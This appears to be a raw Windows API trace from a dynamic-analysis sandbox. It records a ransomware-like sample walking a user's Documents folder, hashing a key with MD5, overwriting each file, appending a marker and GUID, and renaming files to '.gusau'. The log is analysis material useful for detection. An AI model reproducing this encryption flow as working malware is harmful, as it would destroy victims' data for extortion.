RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.996] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.996] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.996] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.996] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.996] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.996] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.996] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.997] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.997] CloseHandle (hObject=0x610) returned 1 [0118.998] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930420 [0118.998] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8c0) returned 0x39f4ef8 [0118.998] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930420 | out: hHeap=0xd10000) returned 1 [0118.998] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\pbZLWA2gHx6B.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\pbzlwa2ghx6b.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\pbZLWA2gHx6B.ods.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\pbzlwa2ghx6b.ods.gusau")) returned 1 [0118.998] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.998] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.999] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38d05a0 | out: hHeap=0xd10000) returned 1 [0118.999] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39f2c010, ftCreationTime.dwHighDateTime=0x1d4ccc9, ftLastAccessTime.dwLowDateTime=0x29cd3e90, ftLastAccessTime.dwHighDateTime=0x1d4d2b4, ftLastWriteTime.dwLowDateTime=0x29cd3e90, ftLastWriteTime.dwHighDateTime=0x1d4d2b4, nFileSizeHigh=0x0, nFileSizeLow=0x18dd1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="z ACbUu.csv", cAlternateFileName="ZACBUU~1.CSV")) returned 1 [0118.999] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0118.999] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd6) returned 0x38d05a0 [0118.999] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0118.999] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\z ACbUu.csv") returned=".csv" [0118.999] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\z ACbUu.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\z acbuu.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.000] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=101841) returned 1 [0119.000] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.002] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x18dab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.002] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.003] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0119.003] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.003] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.003] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x18dd1, lpOverlapped=0x0) returned 1 [0119.004] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.004] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0119.004] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.004] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.004] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0119.005] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.005] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.005] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.005] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0119.005] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.005] GetLastError () returned 0x0 [0119.005] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.006] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0119.006] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0119.006] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x18dd0) returned 0x39f9f20 [0119.006] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.006] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.006] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x18dcc, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x18dcc, lpOverlapped=0x0) returned 1 [0119.006] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0119.006] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x18dd1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.007] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.007] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0119.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0119.007] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0119.007] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.007] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.007] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.007] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0119.007] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.007] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.007] CloseHandle (hObject=0x610) returned 1 [0119.008] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974300 [0119.008] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8b0) returned 0x39f4ef8 [0119.008] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974300 | out: hHeap=0xd10000) returned 1 [0119.008] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\z ACbUu.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\z acbuu.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\z ACbUu.csv.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\z acbuu.csv.gusau")) returned 1 [0119.009] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.009] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.010] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38d05a0 | out: hHeap=0xd10000) returned 1 [0119.010] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39f2c010, ftCreationTime.dwHighDateTime=0x1d4ccc9, ftLastAccessTime.dwLowDateTime=0x29cd3e90, ftLastAccessTime.dwHighDateTime=0x1d4d2b4, ftLastWriteTime.dwLowDateTime=0x29cd3e90, ftLastWriteTime.dwHighDateTime=0x1d4d2b4, nFileSizeHigh=0x0, nFileSizeLow=0x18dd1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="z ACbUu.csv", cAlternateFileName="ZACBUU~1.CSV")) returned 0 [0119.010] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.010] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0119.010] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7fd0 | out: hHeap=0xd10000) returned 1 [0119.010] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.010] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a360 [0119.010] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.010] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.010] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.010] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.010] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.010] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.010] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.010] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.010] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.010] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.010] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.010] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.011] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.011] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.011] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.011] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.011] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.011] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.011] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.011] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.011] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.011] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.011] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.011] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.011] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.011] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.011] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.011] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0119.011] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.011] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.011] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.011] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.011] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.011] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.011] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.011] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.011] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.011] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.011] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.011] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.011] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.011] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.011] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.011] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.012] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.012] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.012] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.012] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.012] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.012] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.012] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.012] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.012] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.012] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.012] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.012] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.012] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.012] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.012] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.012] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.012] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.012] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.012] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.012] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.012] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.012] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.012] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.012] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.012] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.012] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.012] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.012] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.012] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.012] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.012] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.012] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.013] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.013] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.013] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.013] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.013] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.013] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.013] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.013] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.013] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.013] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.013] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.013] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.013] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.013] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.013] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.013] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.013] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.013] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.013] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.013] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.013] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.013] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.013] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.013] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.013] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.013] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.013] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.013] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0119.013] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.013] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.013] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.014] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.014] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.014] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.014] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.014] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.014] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.014] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.014] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.014] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.014] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.014] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.014] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.014] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.014] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.014] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.014] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.014] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.014] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.014] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.014] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.014] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.014] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.014] 